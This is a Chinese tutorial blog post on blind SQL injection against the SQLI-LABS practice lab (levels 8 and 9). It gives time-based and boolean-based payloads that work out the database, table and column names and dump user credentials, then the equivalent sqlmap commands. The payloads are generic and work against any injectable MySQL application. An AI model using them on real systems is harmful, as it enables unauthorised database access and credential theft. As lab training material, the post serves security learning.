不在显示错误的盲注
盲注介绍
Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
也就是说,它只会说你的代码对不对,但是不会显示错误信息了。是个诚实的哑巴
演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。BlindSQL(盲注)与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输出数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据
盲注常分为:基于布尔型的盲注和基于时间的盲注。
在SQLI-LABS第八关,如果正常输出它就会显示”You are in...........”
如果多加个单引号,双引号,反斜杠使它报错,它不会显示任何东西
在它的源码里面可以看到,它把报错的内容给注释化了。不能去通过报错来进行SQL注入,只能通过它回答来进行注入。
GET基于时间的盲注
1.确定数据库的长度
and if(length(database())=1,sleep(3),1) #看它长度是否为1
很明显时间并没有停留3秒。
and if(length(database())=2,sleep(3),1) #看它长度书否为2
慢慢的试到了8
and if(length(database())=8,sleep(3),1)
很显然时间停留了三秒,那么确定了它的长度是8。当然实际的操作不必要一个个尝试。我们可以通过二分头法来快速定位。
1.and if(length(database())>5,sleep(3),1)
2.and if(length(database())<10,sleep(3),1)
- and if(length(database())=6,sleep(3),1)
……
- and if(length(database())=8,sleep(3),1)
通过上面的可以快速定位。
2.确定数据库的名字
and if(ASCII(SUBSTR(DATABASE(),1,1)=65), SLEEP(3) ,1):当数据库名第一个字母的ascii码等于65(A)时,执行一次sleep(3)函数等待3秒。否则就无事发生。
由于mysql是大小写不区分,65是大写A,也可以写97小写a然后在这基础上加一就行。
substr语法:SUBSTR(string, start, length)
通过and if(ASCII(SUBSTR(DATABASE(),1,1))=65, SLEEP(3) ,1)慢慢的尝试:
通过上面的截图可以看到,当前数据库第一个字母不是。
直到我们尝试到115也就是s (需要注意的是83是无效的,也就是大写的S。说明是对大小写敏感)。
那么我们就可以确定它的第一位是s,现在开始尝试后面的,直到第八位。
and if(ASCII(SUBSTR(DATABASE(),8,1))=121, SLEEP(3) ,1)
那么数据库就被扫出来了名字叫security。
3.判断库中含有的表名长度以及名字
3.1基础查询所有表
1.使用count()函数,先确定表个数,然后再确定各个表的长度,再确定表名字
确定了有四个表:
and if((SELECT count(TABLE_name) FROM information_schema.TABLES WHERE table_schema = 'security')=4,SLEEP(3),1);
2.确定第一个表的长度
and if(LENGTH((SELECT table_name FROM information_schema. tables WHERE table_schema = 'security' LIMIT 0,1))=6,SLEEP(3),1)
3.确定表的名字
and if(ASCII((SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema = 'security' LIMIT 0,1),1,1)))=101,SLEEP(3),1)
以此类推,找出所有表emails,referers,uagents,users.
3.2 更快的找出所有表
and if((ASCII((SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema = 'security' LIMIT 0,1),2,1))))>=109,SLEEP(3),1)
根据这一步,依次往后测定如果为空字符的话,意味着第一个表名结束。比如依次测定出第一个表名的前6个字母为 emails 测定第7个的时候让ASCII>=1 没有延迟,说明这是一个空字符(ASCII码对应的0是空字符),意味着表名的结束,为了正确性,可以继续测定第8个,依旧是空字符。按照这个办法依次猜测后面的表名 分别emails,referers,uagents,users.然后依照此办法依次猜测字段名,字段名的值。
3.3 使用group_concat()语句,简单方便
此方法将字段名下的所有值集中到一行,用此函数可以不用确定表的个数,不用确定表名,可以把所有表名加在一起的长度确定下来。
# 确定所有表名加在一起的长度
and IF(length((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),0) -- -
# group_concat()语句默认用逗号分隔,所以表名长度加逗号的长度一共是29
# 依次猜测29个字符即可猜出表名
and if(ASCII(SUBSTR((SELECT group_concat(table_name) from information_schema.TABLES where table_schema='security'),1,1))=101,SLEEP(5),0)
4.判断字段名,为方便使用group_concat()语句
# 确定出users表中所有字段名的长度加上逗号的长度为20
and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20,sleep(5),1)
# 依次确定字段名
and if(ASCII(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105,sleep(5),0)
# 第一个字母对应的ascii码是105
# 依次进行猜测 猜测出字段名:id,username,password
5.同理得到username 和password的值。
5.1 username的值
# 猜出所有username值加上逗号得长度是91
and if(length((select group_concat(username) from security.users))=91,SLEEP(5),0)
# 猜测出username得值
and IF(ASCII(substr((select group_concat(username) from security.users),1,1))=68,SLEEP(5),0)
# 得出所有的值
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
5.2 password的值
# 猜测出password的值加上逗号的长度是96
and if(length((select group_concat(password) from security.users))=96,SLEEP(5),0)
# 猜测值
and IF(ASCII(substr((select group_concat(password) from security.users),1,1))=68,SLEEP(5),0)
# 得出所有的值
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
GET基于Boolean的盲注
由于有一些网站它不会显示报错信息,但是它会返回你输入的语句对不对。
是个诚实的哑巴。
我们通过一些sql语句去判断,跟上面的通过时间盲注一样
正常输入:http://localhost/Less-8/?id=1
非正常输入:http://localhost/Less-8/?id=1'
you are in 就不显示了。通过这个特性,就可以用基于布尔类型的盲注
1. 数据库长度和名字
1.1.确定数据库的长度
and LENGTH(DATABASE())=8
1.2确定数据库的名字 and(ASCII((substr(database(),1,1))))=115
2.数据库下表的名字
快速方法:
and (ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'),1,1)))>=101
2.1所有表总长度
and (LENGTH((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'))) = 29
确定所有表加起来的长度29
由于group_concat使用逗号分隔,所以这29个长度是包含有逗号
2.2每个表的名字
and (ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'),1,1)))=101
通过这个可以写个脚本,只是每次都判断一下是不是逗号(ascii 44号)就行
\
以此类推,确定所有表的名字emails, referers, uagents,users
3.表下所有字段
通过表名,确定一个你需要查的字段,我选了个users表。查看users表所有字段。
3.1 字段的长度
AND(LENGTH((select GROUP_concat(column_name) from information_schema.columns WHERE table_name = 'users' and table_schema = 'security')))=20
确定了长度20包含逗号
3.2 字段的名字
and(ASCII(SUBSTR((select GROUP_concat(column_name) from information_schema.columns WHERE table_name = 'users' and table_schema = 'security'),1,1)))=105
以此类推,找出三个字段id,username,password
4.字段下所有数据
4.1确定长度
AND(LENGTH((SELECT group_concat(username,password) from security.users)))=175
确定了长度175
4.2确定数据
AND (ASCII((SUBSTR((SELECT group_concat(username,password) from security.users),1,1))))=68
以此类推,就此确定所有账户密码
DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,
supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4
Sqlmap安全测试
--technique= (默认全部使用)
B 基于布尔的盲注
T 基于时间的盲注
E 基于报错的注入
U 基于UNION查询注入
S 基于多语句查询注入
基于时间的盲注
1.查看数据库
sqlmap.py -u “http://localhost/Less-9/?id=1” --technique T --dbs
因为是基于时间的盲注,所以很慢,需要等待一会。
基于布尔的盲注
1.查看数据库
sqlmap.py -u “http://localhost/Less-9/?id=1” --technique B --dbs
2.查看数据库里面的表
sqlmap.py -u "http://localhost/Less-8/?id=1" --technique B -D security --tables --batch
3.查看数据库里面的表
sqlmap.py -u "http://localhost/Less-8/?id=1" --technique B -D security -T users --columns --batch
4.查看数据库列里面的具体的值
sqlmap.py -u "http://localhost/Less-8/?id=1" --technique B -D security -T users -C username,password --dump --batch
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)